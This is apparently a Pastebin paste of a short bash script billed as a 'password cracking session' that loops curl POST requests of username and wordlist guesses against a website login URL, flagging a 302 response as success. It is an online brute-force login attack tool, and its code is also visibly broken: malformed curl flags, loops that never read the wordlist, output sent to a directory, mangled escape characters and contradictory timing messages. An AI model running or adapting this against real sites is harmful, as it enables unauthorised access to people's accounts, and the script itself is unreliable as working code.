Advertisement
Guest User

Untitled

a guest
Mar 22nd, 2016
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. echo -e "Initiating password cracking session...n"
  2. echo -e "Seconds per password attempt: c"
  3.  
  4. read TIME
  5.  
  6. if [ "$TIME" -lt "2" ];
  7. then
  8. echo -e "Servers may block out attempts when initiated too frequently, cracking session will begin anyways.n"
  9. fi
  10.  
  11. if [ "$TIME" -gt "2" ];
  12. then
  13. echo -e "Cracking session will take too long to initiate. Session will continue anyways.n"
  14. fi
  15.  
  16. function control_c {
  17. tput setaf 2; echo -en " Password cracking session deactivated.n"
  18. exit $?
  19. }
  20.  
  21. trap control_c SIGINT
  22.  
  23. for (( ; ; ))
  24. do
  25. url="https://examplewebsite.com/login"
  26. echo -e "Username: c"
  27.  
  28. read user
  29.  
  30. echo -e "Wordlist: c"
  31.  
  32. read pass
  33.  
  34. for user do
  35. for pass in pass do
  36. http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
  37. if [[ $http_code -eq 302 ]]; then
  38. echo "Success: User: '$user' Pass: '$pass'"
  39. break 2
  40. fi
  41. done
  42. sleep $TIME
  43. done
  44. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement